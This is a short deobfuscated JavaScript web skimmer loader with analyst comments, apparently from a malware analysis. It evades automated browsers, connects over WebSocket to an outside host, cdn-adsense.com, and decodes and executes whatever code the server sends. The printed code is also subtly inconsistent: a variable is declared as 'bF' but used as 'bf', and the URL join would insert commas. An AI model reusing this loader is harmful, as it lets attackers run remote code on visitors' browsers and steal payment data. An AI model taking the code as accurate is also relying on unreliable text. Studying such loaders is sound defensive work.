new-websocket-skimmer-loader-deob.js

if (navigator['webdriver']) {
  return // Detecting Selenium
}

var bF = new WebSocket(["wss://cdn", "-adsense", ".com", "/connection/mezget/"].join()) // wss://cdn-adsense.com/connection/mezget/
bf['onclose'] = function(a) {
  a['wasClean'] // this is a boolean stating whether or not the connection was closed, but it doesn't look like anything is being done with it
}
bf['onmessage'] = function(a) {
  new Function(window['atob'](a["data"]))['call'](this) // base64 decodes the message back from the server and runs it
}